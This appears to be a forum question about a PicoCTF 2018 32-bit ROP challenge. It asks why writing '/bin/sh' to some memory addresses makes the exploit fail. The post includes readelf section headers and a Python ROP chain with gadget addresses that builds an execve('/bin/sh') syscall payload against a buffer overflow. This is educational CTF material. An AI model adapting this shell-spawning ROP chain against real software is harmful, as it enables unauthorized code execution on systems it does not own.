I've come across some behaviour in a CTF challenge that seems very strange and I was wondering if someone could help me understand it.
The CTF challenge was the can-you-gets-me challenge in PicoCTF2018.
It was a ROP challenge (32-bit), and in my initial attempt, I wrote '/bin/sh\x00' to a spot in the middle of the .data
section (0x080ea6a0
), but when I ran the exploit, I got:
/bin/sh: 1: /bin/sh: Syntax error: word unexpected (expecting ")")
After looking online at some solutions, I found they were using different addresses to me. I tried one of them and found that the exploit worked with an address (0x80e9d60
) which doesn't appear to be in any section.
The readelf
output for the sections was:
$ readelf gets -S
There are 31 section headers, starting at offset 0xb0cc8:
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .note.ABI-tag NOTE 080480f4 0000f4 000020 00 A 0 0 4
[ 2] .note.gnu.build-i NOTE 08048114 000114 000024 00 A 0 0 4
readelf: Warning: [ 3]: Link field (0) should index a symtab section.
[ 3] .rel.plt REL 08048138 000138 000070 08 AI 0 23 4
[ 4] .init PROGBITS 080481a8 0001a8 000023 00 AX 0 0 4
[ 5] .plt PROGBITS 080481d0 0001d0 0000e0 00 AX 0 0 16
[ 6] .text PROGBITS 080482b0 0002b0 07253c 00 AX 0 0 16
[ 7] __libc_freeres_fn PROGBITS 080ba7f0 0727f0 000a6d 00 AX 0 0 16
[ 8] __libc_thread_fre PROGBITS 080bb260 073260 00009e 00 AX 0 0 16
[ 9] .fini PROGBITS 080bb300 073300 000014 00 AX 0 0 4
[10] .rodata PROGBITS 080bb320 073320 01a8ac 00 A 0 0 32
[11] __libc_subfreeres PROGBITS 080d5bcc 08dbcc 000028 00 A 0 0 4
[12] __libc_atexit PROGBITS 080d5bf4 08dbf4 000004 00 A 0 0 4
[13] __libc_thread_sub PROGBITS 080d5bf8 08dbf8 000004 00 A 0 0 4
[14] .eh_frame PROGBITS 080d5bfc 08dbfc 012b10 00 A 0 0 4
[15] .gcc_except_table PROGBITS 080e870c 0a070c 0000d0 00 A 0 0 1
[16] .tdata PROGBITS 080e9f5c 0a0f5c 000010 00 WAT 0 0 4
[17] .tbss NOBITS 080e9f6c 0a0f6c 000018 00 WAT 0 0 4
[18] .init_array INIT_ARRAY 080e9f6c 0a0f6c 000008 00 WA 0 0 4
[19] .fini_array FINI_ARRAY 080e9f74 0a0f74 000008 00 WA 0 0 4
[20] .jcr PROGBITS 080e9f7c 0a0f7c 000004 00 WA 0 0 4
[21] .data.rel.ro PROGBITS 080e9f80 0a0f80 000070 00 WA 0 0 32
[22] .got PROGBITS 080e9ff0 0a0ff0 000008 04 WA 0 0 4
[23] .got.plt PROGBITS 080ea000 0a1000 000044 04 WA 0 0 4
[24] .data PROGBITS 080ea060 0a1060 000f20 00 WA 0 0 32
[25] .bss NOBITS 080eaf80 0a1f80 000e0c 00 WA 0 0 32
[26] __libc_freeres_pt NOBITS 080ebd8c 0a1f80 000018 00 WA 0 0 4
[27] .comment PROGBITS 00000000 0a1f80 000035 01 MS 0 0 1
[28] .shstrtab STRTAB 00000000 0b0b7c 00014c 00 0 0 1
[29] .symtab SYMTAB 00000000 0a1fb8 007ec0 10 30 847 4
[30] .strtab STRTAB 00000000 0a9e78 006d04 00 0 0 1
Key to Flags:
W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
L (link order), O (extra OS processing required), G (group), T (TLS),
C (compressed), x (unknown), o (OS specific), E (exclude),
p (processor specific)
And here are some examples of addresses that worked:
0x080e9d60
(mentioned above)0x080e9ff0
(.got
)0x080ebd8c
(libc_freeres_ptrs
)0x080e9f3c
0x080e9f4c
0x080e9f4c
0x080ea040
0x080eaf60
0x080ebd6c
My question is: What is so special above these addresses that allow the exploit to work, while the others do not? i.e. What criteria should one look at in order to choose an address for writing data in an exploit?
The ROP Stack Here is part of the python script that I am using to generate the payload, for reference:
# Changing this variable is what makes the chain work or fail.
data = 0x80e9d60
# Useful addresses
pop_eax = 0x080b81c6 # pop eax; ret;
pop_ebx = 0x080481c9 # pop ebx; ret;
pop_ecx = 0x080de955 # pop ecx; ret;
pop_edx = 0x0806f02a # pop edx; ret;
swap_eax_edx = 0x0809cff5 # xchg eax, edx; ret;
zero_eax = 0x08049303 # xor eax, eax; ret;
syscall = 0x0806f630 # int 0x80; ret;
write = 0x080999ad # mov dword [edx], eax; ret
# /bin/sh string
str1 = '/bin'
str2 = '/sh\x00'
# The buffer to overwrite with junk
payload = 'A'*28
# Write 1 (/bin)
payload += p32(pop_eax)
payload += str1
payload += p32(pop_edx)
payload += p32(data)
payload += p32(write)
# Write 2 (/sh)
payload += p32(pop_eax)
payload += str2
payload += p32(pop_edx)
payload += p32(data + 4)
payload += p32(write)
# Write pointer to /bin/sh
payload += p32(pop_eax)
payload += p32(data)
payload += p32(pop_edx)
payload += p32(data + 8)
payload += p32(write)
# Set edx to 0
payload += p32(zero_eax)
payload += p32(swap_eax_edx)
# Make the syscall with the correct values in registers
payload += p32(pop_ebx)
payload += p32(data)
payload += p32(pop_ecx)
payload += p32(data + 8)
payload += p32(pop_eax)
payload += p32(0xb)
payload += p32(syscall)
Edit: After some more research, one possible explanation I've come up with is that the new /bin/sh
process overwrites portions of memory. See https://stackoverflow.com/a/5429592/6567876. Is that the reason?